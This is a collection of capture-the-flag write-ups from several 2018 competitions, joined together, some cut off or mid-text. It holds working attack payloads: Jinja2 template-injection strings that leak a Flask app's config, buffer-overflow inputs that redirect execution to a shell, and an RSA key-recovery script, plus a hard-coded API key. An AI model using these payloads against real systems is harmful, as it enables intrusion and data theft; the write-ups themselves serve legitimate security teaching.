> `{{ g.__class__.__mro__[-1].__subclasses__ }}`> > ? `http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B%20g.__class__.__mro__[-1].__subclasses__%20%7D%7D`
The only text we get back is:
```<built-in method __subclasses__ of type object at 0x7fdc2b3e1820>```
Of course, that's because the parentheses are being removed! We're getting the function object, but can't call it.At this point, we started looking for alternative ideas (listed in the previous sections). But when we returned later, we realized that many other objects were available to us in the evaluation context.
Trying them out one by one in a local Python prompt (PDB is useful to drop into a prompt in the context of a larger script), we listed all fields of the available objects:
```>> [d for d in dir(url_for)][ '__class__', ..., '__globals__', ... ]```
Well, that's interesting!
> `{{ url_for.__globals__ }}`> > ? `http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B%20url_for.__globals__%20%7D%7D`
We immediately searched for "flag", "config", and finally, "app". Looking a bit further, it turns out that Flask holds a `current_app` reference, which itself holds the config dictionary we were looking for. All of this, importantly, without relying on method calls.
> `{{ url_for.__globals__['current_app'].config }}`> > ? `http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B%20url_for.__globals__['current_app'].config%20%7D%7D`
We got the flag! `TWCTF{pray_f0r_sacred_jinja2}` |
# BOF (Pwn, 160 solved, 50 points)###### Author: [qrzcn](https://github.com/qrzcn)
```Binary is running atnc 139.59.30.165 8700```The Challange involved a binary so first run the binary locally:
```% ./vuln Welcome, You know what to do. So go get the flag.
Hello>>> 213123```
Then I generated a pattern with 100 length:
https://projects.jason-rush.com/tools/buffer-overflow-eip-offset-string-generator/
Now run it in gdb:
```$ gdb ./vuln $ b *0x400823 $ c Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2ABreakpoint 2, 0x0000000000400823 in main ()gdb-peda$ info frameStack level 0, frame at 0x7fffffffe810: rip = 0x400823 in main; saved rip = 0x3562413462413362 called by frame at 0x7fffffffe818 Arglist at 0x7fffffffe800, args: Locals at 0x7fffffffe800, Previous frame's sp is 0x7fffffffe810 Saved registers: rbp at 0x7fffffffe800, rip at 0x7fffffffe808```Now we can calculate the Offset:
Now we know the Offset to the saved return pointer and can use that for our exploit:
```python% python2 test.py| nc 139.59.30.165 8700```
And we get the flag:
```d4rk{g00d_0ld_d4y5_0f_n0_pr073c710n}c0de``` |
# noxCTF 2018 : Chop-Suey
**category** : crypto
**points** : 118
**solves** : 235
## write-up
I guess e = 65537 and solve it at first glance XD
We can also use dp and dq to reconstruct d ( chinese remainder theorem )
But notice that `(p - 1)` and `(q - 1)` has a common factor 4, can't directly use chinese remainder theorem
See the code for more detail
`noxCTF{W31c0m3_70_Ch1n470wn}`
# other write-ups and resources
|
# Forensics - 2. Hard Shells
## Points
200
## Description
> After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
## Solve
```$ file hardshellshardshells: Zip archive data, at least v1.0 to extract$ mv hardshells hardshells.ziprenamed 'hardshells' -> 'hardshells.zip'```
Apparently the zip file has a password. Let's crack it. We can use the [rockyou](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt) wordlist!
```$ zip2john hardshells.zip --wordlist=rockyou.txt > john.txthardshells.zip->hardshells/ is not encrypted!ver a hardshells.zip->hardshells/ is not encrypted, or stored with non-handled compression typever 14 efh 5455 efh 7875 hardshells.zip->hardshells/d PKZIP Encr: 2b chk, TS_chk, cmplen=309500, decmplen=5242880, crc=CCF0AB03$ john --show john.txt hardshells.zip:tacos:::::hardshells.zip
1 password hash cracked, 0 left```
So the password is "tacos" apparently.
```$ unzip hardshells.zip Archive: hardshells.zip creating: hardshells/[hardshells.zip] hardshells/d password: tacos inflating: hardshells/d```
Let's see what that `d` file is. ?
```$ cd hardshells $ file dd: Minix filesystem, V1, 30 char names, 20 zones```
It's a Minix filesystem! We can mount it on Linux with a loop device.
```$ sudo mount -o loop d /mnt$ cd /mnt$ lsdat```
What could this other file be? ?
```$ file datdat: data$ hexdump -C | head00000000 89 50 55 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PUG........IHDR|00000010 00 00 07 80 00 00 04 38 08 06 00 00 00 e8 d3 c1 |.......8........|00000020 43 00 00 20 00 49 44 41 54 78 9c ec dd 79 78 54 |C.. .IDATx...yxT|00000030 f5 d5 c0 f1 ef 2c d9 26 fb 0a 49 c8 be b0 98 84 |.....,.&..I.....|00000040 b0 43 d8 77 14 41 b1 8a 8a 76 51 5b 6d 9f da 6a |.C.w.A...vQ[m..j|00000050 5b 5b fb 6a ad 7d ad 56 5b fb da 62 a9 5a 5c ea |[[.j.}.V[..b.Z\.|00000060 86 2b 6a a1 22 a2 ec b2 25 ec 10 42 02 21 fb be |.+j."...%..B.!..|00000070 cf 64 9b 49 32 73 df 3f 62 06 02 01 32 c9 24 93 |.d.I2s.?b...2.$.|00000080 84 f3 79 9e 3c 30 77 e6 fe e6 64 99 3b 77 ee f9 |..y.<0w...d.;w..|00000090 9d f3 53 4d 98 30 41 41 08 21 84 10 42 08 21 84 |..SM.0AA.!..B.!.|```
Because of the `IHDR` and `IDAT`, this looks suspiciously like a PNG file. ?
It wasn't detected by `file` because it doesn't have the proper magic byte.
PNG files must begin with the bytes `89 50 4e 47` in order to be valid.
In other words, the "U" in "PUG" needs to be changed to an "N" to make "PNG."
After doing this in a hex editor, we see the following image.
[image](https://gitlab.com/blevy/redpwn-ctf-writeups/blob/master/icectf2018/hard_shells/dat_fixed.png)
The flag can be seen typed in the terminal on glitch's glorious Arch Linux rice. |
See my exp [here](https://github.com/0x01f/pwn_repo/tree/master/noxCTF2018_The_Black_Canary)
Follow [me](https://github.com/0x01f) if you like this writeup :) |
### TL;DR* Rename the spaces.* Fix the signature.* Decrypt the string constants.* Recover the function name of InvokeDynamic* Recover the integer constants.* Read the bytecode, the bytecode, and the bytecodes.* Decrypt the flag |
Program reads in user input (4 bytes) and xors it with data at 0x400B7E
After xoring the whole section it attempts to jump to that location and execute the instructions there
We assumed that this function would start with a normal function prologue
push rbpmov rbp, rsp
We can take the opcode of this prologue (which is four bytes,554889E5) and xor that in Binary Ninja to get the key needed to complete the challenge
We get “C<3T” as the key. Run the program and enter that key to get the flag
ISITDTU{b4b3x0r_i5_simpl3_t4g} |
### TokyoWesterns CTF 4th 2018. *SimpleAuth* Writeup by E-Toolz team
`http://simpleauth.chal.ctf.westerns.tokyo/ ` - Link
-----
This source page is given at task. It parses GET requests on the URL of task.(# - comments)> Short characteristic of HTTP GET:> Client send parameters in URI after the ? symbol and divided with & symbol so URL looks like: ` http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&user=admin&password=qwerty`
> From the left side of '=' is filled name which we set. From the right side is its value.> We can find out field names from the source: they are used as `$res` fields.>
``` |
https://medium.com/@johnhammond010/codefest-ctf-2018-writeups-f45dafebb8c2Discord: https://discord.gg/fwdTp3JYouTube: https://youtube.com/johnhammond010 |
# Revolutionary Secure Angou
**Challenge Points**: **Challenge Description**: [No Description]
In this challenge, we are given an encryption script written in ruby that encrypts the flag using RSA. We are also given the [public key](publickey.pem) and [ciphertext](flag.encrypted). Let us analyse the encryption script first:
```rubyrequire 'openssl'
e = 65537while true p = OpenSSL::BN.generate_prime(1024, false) q = OpenSSL::BN.new(e).mod_inverse(p) next unless q.prime? key = OpenSSL::PKey::RSA.new key.set_key(p.to_i * q.to_i, e, nil) File.write('publickey.pem', key.to_pem) File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag'))) breakend```As you can see, private key parameters are not generated as they are supposed to be. Specifically, although `p` is a pseudo-random prime generated using OpenSSL, but `q` is generated as . Looks fishy! Also, there are no other suspicious lines of code as everything else looks fine. So now we know where we have to focus to find the exploit! We want to find someway to get the value of `p`, and we can use the equation for `q` to get this. Let us see how:  In the above equation, `k` is the multiplier. Now, if we multiply the above equation with `q` on both sides, we will have:  We know that n = p*q, hence the simplification above. Great, now we have a simple quadratic equation, to get the value of `q`, knowing the value of `e` and `n`. Although, we don't know the value of `k`, we can brute-force the value of `k`. To solve the above quadratic equation:  So as per the above formula, there are two possible values of `q`; but we can remove the negative sign since `q` is very large and cannot be less than one. This gives us:  To get the value of `q`, iterate check for every value of `k`, if  is a perfect square. If it does, then we have got the value of `q`! I implemented this using the following script: ```pythonfor k in range(1, 1000000): # Checking for perfect equare if gmpy2.iroot(1+4*e*n*k, 2)[1] == True: # Calculating q q = (1 + int(gmpy2.iroot(1+4*e*n*k, 2)[0]))/(2*e) if n % q == 0: factor = q print k break```This gave me the value of `q` as: 117776309990537864360810812340917258096636219871129327152749744175094693075913995854147376703562090249517854407162616412941789644355136574651545193852293544566513866746012759544621873312628262933928953504305148673201262843795559879423287920215664535429854303448257904097546288383796049755601625835244054479553 Now that we have `q`, we can calculate `p` and hence the private key to get the flag: ```pythonfrom Crypto.PublicKey import RSAfrom Crypto.Util.number import *import gmpy2
key = RSA.importKey(open("publickey.pem").read())n = key.ne = key.eprint nprint e
for k in range(1, 1000000): if gmpy2.iroot(1+4*e*n*k, 2)[1] == True: q = (1 + int(gmpy2.iroot(1+4*e*n*k, 2)[0]))/(2*e) if n % q == 0: factor = q print k print "q: ", q breakct = open("flag.encrypted").read()ct = bytes_to_long(ct)p = n/factorphin = (p-1)*(q-1)d = inverse(e, phin)print long_to_bytes(pow(ct, d, n))``` Ran the above script and got the flag as: **TWCTF{9c10a83c122a9adfe6586f498655016d3267f195}** ! You can check out the exploit script here- [exploit.py](exploit.py) |
We are taking the following steps in order to exploit the program. 1. Leak the remote libc (puts is printed at the start, we can use [libc-database](https://github.com/niklasb/libc-database). 2. Create a soldier and give it a big enough answer_length (0x50 is enough). 3. Promote the soldier, which frees it. 4. Create a soldier again with answer_length of -1 causing malloc to fail. By doing so we will have ```soldier_struct->answer_length = -1``` and ```global_answer_length = 0x50```. 5. Promote the soldier. This time alloca won't actually allocate more memory. We can overflow into the return address and form a rop-chain. 6. Enjoy the shell :) |
My friend heard about the Ethereum blockchain and thinks it's the safest place to hide stuff.
Prove him wrong.
Network : Ropsten Test NetworkContract Address : 0x94f23F189583e828E73573905A19d93E21D0E957
they gave. eth address and said its network as ropsten test network
open https://www.myetherwallet.comchange network to Ropsten test networkgo to View Wallet Infoand give the address and check last transactionshttps://ropsten.etherscan.io/address/0x94f23F189583e828E73573905A19d93E21D0E957
https://ropsten.etherscan.io/tx/0x51fb0720ce718920573882821a2ca39722c42f1d49ed460e6912bb0fff5562c2check the Input Data:click on view input data as and aelect UTF-8u see the flag
d4rk{sucH_s3cr3cy_much_w0W}c0de |
Name of question : DUMBONE
DESCRIPTION (as per the Icectf webste):
I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?-----------------------------------------------------------------------------------------------------------------------Write up:
In this CRYPTO question we had been given 2 things in the picture garfeld.png
First the ciphered text : "IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}"
and a key on the top right of the photo
KEY="07271978"
In the python file i have given the code.In the code it is basically moving backward the current alphabet with the respective number given in the key.
Note: It is only for the alphabets not for the symbols
For example : Ijg will be deciphered as below: 'I' : 'I'-0='I' 'j' : 'j'-7='c' 'g' : 'g'-2='e'
After running the python file the flag appeared :"IceCTF{I_DONT_THINK_GRONSFELD_LIKED_MONDAYS}" |
# Forensics
## Modern Picasso(150 points)
Here's a rendition of some modern digital abstract art. Is it more than art though?
[picasso.gif](picasso.gif)
## Write-up
I extracted all the frames of gif. I got 67 png images. In every images i see that some small fragments of a character which may together form flag for this challenge. So i use `Stegsolve` tool to combine all images to get a single image. Finally i found final image which contains flag for this challenge.
## flag:IceCTF{wow_fast} |
For Video:https://www.youtube.com/watch?v=iQxLsURS1Mo&list=PL1H1sBF1VAKWkYm2SCXYwyAJsxJuBL4Bd&index=5
For Text:https://medium.com/@johnhammond010/icectf-2018-writeups-32df8e53facd |
# IceCTF 2018
2-Week-long Icelandic CTF in September 2018
Team: Galaxians
## Overview```Title Category Points Flag------------------------------ -------------- ------ -----------------------------Toke Relaunch Web 50 IceCTF{what_are_these_robots_doing_here}Lights out Web 75 IceCTF{styles_turned_the_lights}Friðfinnur Web 200 IceCTF{you_found_debug}History of Computing Web 350
Simple Overflow Binary 250Cave Binary 50 IceCTF{i_dont_think_caveman_overflowed_buffers}Twitter Binary 800
Modern Picasso Forensics 150 IceCTF{wow_fast}Hard Shells Forensics 200 IceCTF{look_away_i_am_hacking}Lost in the Forest Forensics 300 IceCTF{good_ol_history_lesson}
garfield Cryptography 100 IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}Posted! Cryptography 250Think outside the key! Cryptography 200Ancient Foreign Communications Cryptography 300 IceCTF{squeamish ossifrage}
Drumbone Steganography 150 IceCTF{Elliot_has_been_mapping_bits_all_day}Hot or Not Steganography 300 IceCTF{h0td1gg1tyd0g}Rabbit Hole Steganography 400 IceCTF{if_you_see_this_youve_breached_my_privacy}
Locked Out Reversing 200Poke-A-Mango Reversing 250Passworded! Reversing 400
Hello World! Misc 10 IceCTF{this_is_a_flag}anticaptcha Misc 250 IceCTF{ahh_we_have_been_captchured}ilovebees Misc 199 IceCTF{MY_FAVORITE_ICON}Secret Recipe Misc 290```
## Web 50: Toke Relaunch
**Challenge**
We've relaunched our famous website, Toke! Hopefully no one will hack it again and take it down like the last time.
**Solution**
The link leads to some marijuna website
Last edition the toke challenge had the flag hidden in a cookie, but no cookies are set this time, so we have to look elsewhere
We check the robots.txt file and see:
```User-agent: *Disallow: /secret_xhrznylhiubjcdfpzfvejlnth.html
```
the disallowed file contains our flag.
**Flag**```IceCTF{what_are_these_robots_doing_here}```
## Web 75: Ligths out
**Challenge**
Help! We're scared of the dark!
https://static.icec.tf/lights_out
**Solution**
We see a black page
with source:
```html
<html> <head> <meta charset="utf-8" /> <title>Lights out!</title> <link rel="stylesheet" href="main.css" /> </head> <body> <div class="alert alert-danger">Who turned out the lights?!?!</div> <summary> <div class="clearfix"> <small></small> <small></small> </div> </summary> </body></html>
```
Some fiddling with the css yields the flag
**Flag**
```IceCTF{styles_turned_the_lights}```
## Web 200: Friðfinnur
**Challenge**
Eve wants to make the hottest new website for job searching on the market! An avid PHP developer she decided to use the hottest new framework, Laravel! I don't think she knew how to deploy websites at this scale however....
https://gg4ugw5xbsr2myw-fridfinnur.labs.icec.tf/
**Solution**
Not sure if this was the intended solution, but requesting an url for a nonexistant job listing lead to an error message containing the flag:
https://29nd70ux6kr7ala-fridfinnur.labs.icec.tf/jobs/galaxian
**Flag**```IceCTF{you_found_debug}```
## Web 350: History of Computing
**Challenge**
One of the authors of IceCTF made this page but I don't think it's very accurate. Can you take hack it before the IceCTF team gets sued?
**Solution**
A blogging website with registration/login forms and comment submission
If we log in we get a cookie
```token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.session: eyJ1c2VyIjozfQ.DnrHzA.T60QwnNSuvq2HH0VSnNqqzFZ-24```
which base64 decode to:
```token: {"typ":"JWT","alg":"none"}.{"username":"testuser","flag":"IceCTF{hope you don't think this is a real flag}"}session: {"user":3}.?.?```
**Flag**
## Binary Exploit 200: Simple Overflow
**Challenge**
In programming, a buffer overflow is a case where a program, while it is writing data somewhere, overruns the boundary and begins overwriting adjacent memory. This is one of the first vulnerabilities used to exploit software. Modern programming languages tend to provide protection against this type of vulnerability, but it is still observed commonly in low-level software.
Buffer overflows can be a complex vulnerability to understand and exploit due to their low-level nature. To assist you in your training, we have provided a memory simulation in the middle to help you understand what happens when your input in the textbox is passed to the program on the left. The simulation shows you the memory layout of the underlying process, where your buffer is red, and the secret value is green. Try entering values into the box and observe how the values that the program sees change on the left.
In this case, the buffer sits on top of the stack memory, with the variable secret sitting just below it. As you will observe, the size limitation placed on buffer is not enforced, allowing you to write more than 16 characters. Get a feel for buffer overflows by exploring the above code.
Once you are comfortable with buffer overflows, exploit the program to grant you the flag.
[overflow.c](writeupfiles/overflow.c)
**Instructions**1. Hello world!In the textbox in the middle, try entering Hello World!. Observe which variable within the code takes the value.
2. Overflow!What happens if you write more than 16 characters into the buffer? Can you make the secret change?
3. Take controlCan you make secret take the value 1633771873 (0x61616161). Note that strings are stored in ASCII, and in ASCII, character number 0x61 is a.
4. Little endianIn most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value 1633837924 (0x61626364)?
5. Escape from ASCIIAs you may see in the code, to get past the restrictions and retrieve the flag, secret needs to have a value of 0xcafebabe. However not all these characters are in ASCII! What will you do?
**Solution**
We examine the source code
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
const char* FLAG = "<REDACTED>"
void flag() { printf("FLAG: %s\n", FLAG);}
void message(char *input) {
char buf[16] = "";
int secret = 0;
strcpy(buf, input);
printf("You said: %s\n", buf);
if (secret == 0xcafebabe) { flag(); } else { printf("The secret is 0x%x\n", secret); }}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./overflow <message>\n"); } return 0;}```
**Flag**
## Binare Exploit 50: Cave
**Challenge**
You stumbled upon a cave! I've heard some caves hold secrets.. can you find the secrets hidden within its depths?
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
void shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i");}
void message(char *input) { char buf[16]; strcpy(buf, input);
printf("The cave echoes.. %s\n", buf);}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./shout <message>\n"); } return 0;}```
**Solution**
Another buffer overflow challenge, this time we need to overwrite the return address to call the `shell()` function.First we need to find out what that address should be, we can do this with gdb's `info functions shell` or`objdump -d ./shout | grep shell` and find out that the address is `0x0804850b`
So we need to overwrite the return address with this address, in little endian order:
```./shout `python -c "print('a'*28+'\x0b\x85\x04\x08')"````
this gives us a root shell and we can read the contents of `flag.txt` to read our flag:
**Flag**
```IceCTF{i_dont_think_caveman_overflowed_buffers}```
## Binary Exploit 800: Twitter
**Challenge**
Someone left a time machine in the basement with classic games from the 1970s. Let me play these on the job, nothing can go wrong.
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-twitter```
**Solution**
**Flag**
## Forensics 150: Modern Picasso
**Challenge**
Here's a rendition of some modern digital abstract art. Is it more than art though?
**Solution**
Using imagemagick to convert the white background in each frame to transparant:
```convert picasso.gif -transparent white picasso_transparent.gif```
gives a gif that slowly builds up the flag:
**Flag**
```IceCTF{wow_fast}```
## Forensics 200: Hard Shells
**Challenge**
After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
[file](writeupfiles/hardshells)
**Solution**
the file is an encrypted zip file.
we use fcrackzip with the crackstation wordlist to find the password
```bash$ fcrackzip -v --use-unzip -D -p wordlist hardshells.zip'hardshells/' is not encrypted, skippingfound file 'hardshells/d', (size cp/uc 309500/5242880, flags 9, chk 91d0)checking pw TILIGUL'S
PASSWORD FOUND!!!!: pw == tacos```
the [file we get](writeupfiles/d) now is a Minix filesystem
```bash$ file dd: Minix filesystem, V1, 30 char names, 20 zones```
Running `strings`, we found `IHDR` indicating it might be a PNG file. Comparingthe file (in vim) to a normal PNG file we discovered they'd changed PNG to PUGand the file became valid.
This gives us a nice screenshot of someone's desktop, with the flag.
**Flag**```IceCTF{look_away_i_am_hacking}```
## Forensics 300: Lost in the Forest
**Challenge**You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?
**Solution**We receive a zip file named 'fs.zip' which contains a partial root file system of our hacker's machine. After unzipping we looked for all potentially interesting files:
```find -type f .```
And spotted './home/hkr/Desktop/clue.png' which is just a picture of a redherring. Cute. So the other dozens of JPGs are probably also red herrings. Nextwe looked for more interesting files and just looked at them individually witha text editor:
```vim `find -type f .````
Most were rather uninteresting, but there was a base64 looking string,`./home/hkr/hzpxbsklqvboyou` which might be interesting later. In`.bash_history` there were some interesting commands:
```wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZpmv eRkjLlksZp tool.py./tool.py ../secret > ../hzpxbsklqvboyou```
So that script generated the base64 stuff on the desktop. We'll just write a [decode version of the script](./writeupfiles/lost-in-the-forest.py) and decrypt our output.
**Flag**```IceCTF{good_ol_history_lesson}```
## Cryptography 100: garfeld
**Challenge**
You found the marketing campaign for a brand new sitcom. Garfeld! It has a secret message engraved on it. Do you think you can figure out what they're trying to say?
**Solution**
The image reads:
`IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}`
Looks like the flag but encrypted somehow
Turns out to be vigenere with key `ahchbjhi`
we later realized that the `07271978` at the top of the image is a hint for this key with A=0,B=1 etc
**Flag**
```IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}```
## Cryptography 250: Posted!
**Challenge**
Apparently some bitwise boi is posting flags all over the place. He gave us a hint, though.
```DychGDZJRRsEUTI0JDViVlxeZyFIBCM7MwosGRQCMCgZJCIrGCsoRkFIajcSKhBTGx9XeTV4MDlZB1Y=```
He also gave us another hint: 41
**Solution**
base64 decode, then probably one or more bitwise operation (due to mention of 'bitwise boi' in description), likely involving the number 41
**Flag**
## Cryptography 400: Think outside the key
**Challenge**
Estelle was messing around with her computer and she ended up outputting some garbage! Could you figure out what this means?!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the decrypted text.
[mess.txt](writeupfiles/mess.txt)
**Solution**
```i⇧fjag8⇧qv⇧qy4⇧dag8k0q⇧ptag86⇧s⇧hec⇧l⇧c4ag8z3ssag8⇧q7y66b```
**Flag**```flag```
## Cryptography 300: Ancient Foreign Communications
**Challenge**We got word from a friend of ours lost in the depths of the Andorran jungles! Help us figure out what he is trying to tell us before its too late!
Note: The flag here is non-standard, in the result you should end up with some words! The flag is IceCTF{<words, lowercase, including spaces>}
**Solution**We're given a file with hex bytes, we can use `xxd` to covnert that into the appropriate characters/bytes:
```xxd -r -p comms.txt > out.txt```
Which is full of some fun symbols?
```⨅]]⌞⌞⌟[⨆]⌟]]]⨆⨆⨆⌜[[[⌝⌝⌝⌞⌝⌝⌝⌝⨆⌝⌝⌝⌞⌞⌝⌝⌝⌝⌟⌝⌝⨅⨅⌞⌞⨆[]]]⌝⌝⌝⌝]]⌟[[[⌝⌝⌝⌝⌟⌝⌝⌝⌝]]]⌞⌞⌞⌝⌝⌝⨆]⌞⌞```
combining pigpen cipher with T9 we translate this to:
```⨅ ]] ⌞⌞ ⌟ [ ⨆ ] ⌟ ]]] ⨆⨆⨆ ⌜ [[[ ⌝⌝⌝ ⌞ ⌝⌝⌝⌝ ⨆ ⌝⌝⌝ ⌞⌞ ⌝⌝⌝⌝ ⌟ ⌝⌝ ⨅⨅ ⌞⌞ ⨆ [ ]]] ⌝⌝⌝⌝ ]] ⌟ [[[ ⌝⌝⌝⌝ ⌟ ⌝⌝⌝⌝ ]]] ⌞⌞⌞ ⌝⌝⌝ ⨆ ] ⌞⌞t h e _ m a g _ i c w o r d s a r e s _ q u e a m i s h _ o s _ s i f r a g e```
method explained:
- `⨅` in pigpen would signify `H`, when we instead combine this with T9, it would mean the letter `t` (one press on the number `8`)- `]]` would be the `dd` in classic pigpen, but now signifies 2 presses on the number `4`, which would be an `h`- `⌞⌞` is two presses on the 3, so a letter `e`- etc
This gives us the sentence
```the magic words are squeamish ossifrage```
Which was the solution to a challenge ciphertext set by the inventor of RSA in 1977 ([link](https://en.wikipedia.org/wiki/The_Magic_Words_are_Squeamish_Ossifrage))
**Flag**```IceCTF{squeamish ossifrage}```
## Steganography 150: Drumbone
**Challenge**
I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?
**Solution**
Nothing in exif data, nothing with binwalk, nothing obvious, so we check the LSB of each challenge. The blue channel seems to consist of only odd number, this seems suspicious so we investigate furter. Mapping the LSB of each of the RGB channels to black or white gives the following result:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeprint(w,h)
outimg_r = Image.new('RGB', (w,h), "white")outimg_g = Image.new('RGB', (w,h), "white")outimg_b = Image.new('RGB', (w,h), "white")
pixels_r = outimg_r.load()pixels_g = outimg_g.load()pixels_b = outimg_b.load()
for i in range(0,w): for j in range(0,h): (r,g,b) = pixels[i,j] if not r&1: pixels_r[i,j] = (0,0,0) if not g&1: pixels_g[i,j] = (0,0,0) if not b&1: pixels_b[i,j] = (0,0,0)
outimg_r.save("outimg_r.png")outimg_g.save("outimg_g.png")outimg_b.save("outimg_b.png")```
This gives us the following images:
Bingpot! the blue channel seems to contain a QR code!
We clean up the image a bit to get our flag:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeoutimg_b = Image.new('RGB', (outw,outh), "white")pixels_b = outimg_b.load()
wout = -1hout = -1for i in range(1,w,6): wout += 1 hout = -1 for j in range(1,h,6): hout+=1 (r,g,b) = pixels[i,j] if not b&1: pixels_b[wout,hout] = (0,0,0)
outimg_b = outimg_b.resize((10*outw,10*outh))outimg_b.save("outimg_b.png")```
**Flag**```IceCTF{Elliot_has_been_mapping_bits_all_day}```
## Steganography 300: Hot or Not
**Challenge**
According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.
(this is a scaled-down image, original was >70Mb)
**Solution**
Looking at the image more closely, we see it is made up of a series of subimages of either dogs or hotdogs.
Looks like we have to classify the subimages into hotdogs or regular dogs..
First we split the image up into all its subimages with imagemagick
```bash$ convert -crop 224x224 +repage hotdogs/out%04d.jpg```
Next, we can use [Clarifai](https://clarifai.com) to do the image recognition to determine whether the subimages are dogs or hotdogs. Clarifai gives you 5000 free operations per month, but since we have a little over 7500 subimages, we needed two accounts to perform this analysis.
```pythonimport osimport jsonfrom PIL import Imagefrom clarifai.rest import ClarifaiAppfrom clarifai.rest import Image as ClImage
app = ClarifaiApp(api_key='f7f15032b1a04f1fafc2092c63e50e9f')model = app.models.get('general-v1.3')
# detect image contents for all subimagespixels = []for i in range(0,87*87): image = ClImage(file_obj=open("hotdogs/out"+str(i).zfill(4)+".jpg", 'rb')) response = model.predict([image])
hot = False concepts = response['outputs'][0]['data']['concepts'] for concept in concepts: if 'food' in concept['name']: hot = True pixels += [1 if hot == True else 0]
# make qr code image(w,h)=(87,87)
outimg = Image.new( 'RGB', (w,h), "white")pixels_out = outimg.load()
p = 0for i in range(0,h): for j in range(0,w): print(pixels[p]) if pixels[p] == 1: pixels_out[j,i]=(0,0,0) else: pixels_out[j,i]=(255,255,255) p += 1
outimg = outimg.resize((5*w,5*h))outimg.save("pixels_outimg2.png","png")```
This outputs the following image:
This is clearly a QR code, it is just missing the corner anchors. We add these and clean the image up slightly:
**Flag**```IceCTF{h0td1gg1tyd0g}```
## Steganography 400: Rabbit Hole
**Challenge**
Here's a picture of my favorite vegetable. I hope it doesn't make you cry.
**Solution**
After a lot of experimenting, we find out we can uncover a hidden message from the image using steghide:
```bash$ steghide extract -sf rabbithole.jpgEnter passphrase: <onion>wrote extracted data to "address.txt".```
whoo! contents of the file `address.txt` is:
```wsqxiyhn23zdi6ia```
might be an `.onion` link? Opening `http://wsqxiyhn23zdi6ia.onion` with a tor browser (or via https://onion.link/) gives:
[rabbithole.html](writeupfiles/rabbithole.html)
```html
<html> <head> <title>Rabbit Hole</title> <meta charset="UTF-8"> <style> body { background: black; }
p { max-width: 750px; text-align: center; color: #00ff00; margin: 0px auto; }
#header { max-width: 989px; margin: 0px auto; }
#footer { margin: 100px 0; text-align: center; }
#error { max-width: 350px; }
#eyes { max-width: 200px; } </style> </head> <body> <div id="header"> </div> 聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
<div id="footer"> </div> </body></html>
```
We find nothing in the images, but after some hints we find that the chinese characters are [base65536](https://github.com/Parkayun/base65536)
[file with just the characters](writeupfiles/rabbithole_characters.txt)
```python# pip install base65536
import base65536
with open('rabbithole_characters.txt','r') as f: ct = f.readline().rstrip().replace(' ','')
with open('rabbithole_out','wb') as f2: f2.write(base65536.decode(ct))```
which turns out to be an [epub](writeupfiles/rabbithole_out.epub) on cell phone hacking. Searching the contents for the flag gives it to us
**Flag**```IceCTF{if_you_see_this_youve_breached_my_privacy}```
## Reverse Engineering 200: Locked out
**Challenge**This is a fancy looking lock, I wonder what would happen if you broke it open?
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-lockedout```
Note: the binary is [here](writeupfiles/lock)
**Solution**
**Flag**
## Reverse Engineering: Poke-A-Mango
**Challenge**
I love these new AR games that have been coming out recently, so I decided that I would make my own with my favorite fruit! The Mango!
Can you poke 151 mangos?
NOTE Make sure that you allow the app access to your GPS location and camera otherwise the app will not work. You can do that in App Permissions in Settings.
[apk](writeupfiles/pokemango.apk)
**Solution**
installing the app gives a map and a shop menu where it appears you need to find 151 mangoes to get the flag
We decompile the app:
```apktool decode pokemango.apk```
**Flag**```
```
## Reverse Engineering 400: Passworded!
**Challenge**
